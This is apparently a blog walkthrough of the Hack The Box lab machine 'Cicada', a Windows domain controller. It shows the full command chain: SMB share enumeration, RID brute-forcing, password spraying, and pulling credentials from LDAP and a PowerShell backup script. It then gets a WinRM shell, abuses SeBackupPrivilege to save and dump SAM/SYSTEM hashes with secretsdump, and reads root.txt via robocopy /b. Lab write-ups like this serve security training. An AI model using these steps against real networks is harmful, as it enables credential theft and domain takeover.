Cicada - Just another blog

Recon#

Nmap#

Nmap scan report for 10.129.5.150
Host is up (0.11s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE      VERSION
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-15 01:13:58Z)
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
636/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB#

Checking the smb share we found that there is a smb share:

└──╼ [★]$ cat 'Notice from HR.txt' 

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

Fancy!!, we got a password, but we don’t have a User. let’s brute force the rid with nxc to get list of other users.

RID Bruteforce#

nxc smb 10.129.78.250 -u guest -p "" --rid-brute > brute.txt

And we get the valid usernames:

john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscar

Shell as emily.oscar#

Testing these usernames against SMB with the password we found earlier.

└──╼[★]$  netexec smb 10.129.78.250 -u usernames.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
SMB         10.129.78.250   445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.129.78.250   445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.129.78.250   445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE 
SMB         10.129.78.250   445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

The password we found works for user michael.wrightson. cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

ldapsearch reveals cerds!#

ldapsearch -LLL -H ldap://cicada.htb:389 -b "DC=cicada,DC=htb" -D "CN=Michael Wrightson,CN=Users,DC=cicada,DC=htb" -w 'Cicada$M6Corpb*@Lp#nZp!8' "(sAMAccountName=*)" | grep -i "password"

AND we found the cerds for user david.orelious david.orelious : aRt$Lp#7t*VQ!3

Backup_script.ps1#

Let’s check that SMB share we found earlier called DEV

smbclient //cicada.htb/DEV -U david.orelious
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 08:31:39 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 13:28:22 2024
get 
        4168447 blocks of size 4096. 326797 blocks available
smb: \> get Backup_script.ps1 k
getting file \Backup_script.ps1 of size 601 as k (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
smb: \> get Backup_script.ps1 
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
smb: \> exit
┌─[simon@parrot]─[~]
└──╼ [★]$ ls
Backup_script.ps1  Desktop  Documents  Downloads  go  htb.zip  k  ldapsearch-ad  Music  Pictures  Public  SAM  SYSTEM  Templates  Videos
┌─[simon@parrot]─[~]
└──╼ [★]$ cat Backup_script.ps1 

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Fancy, we got another users password and username: emily.oscars:Q!3@Lp#M6b*7t*Vt It is a user on the system, we can try to login.

└──╼ [★]$ evil-winrm --ip 10.129.78.250  --user emily.oscars --password 'Q!3@Lp#M6b*7t*Vt'

And we got a shell.

Shell as Administrator#

running whoami /all shows that user has SeBackup perms

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Let’s take backup of SAM and SYSTEM

cmd /c "reg save HKLM\SAM SAM & reg save HKLM\SYSTEM SYSTEM"

Secretdump#

Now let’s download the SAM and SYSTEM using the Evil-Winrm’s own download feature.

└──╼ [★]$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

One-Liner#

Or just don’t bother with SAM dump.

mkdir c:/a; robocopy /b C:\users\administrator\desktop C:\a; cat c:/a/root.txt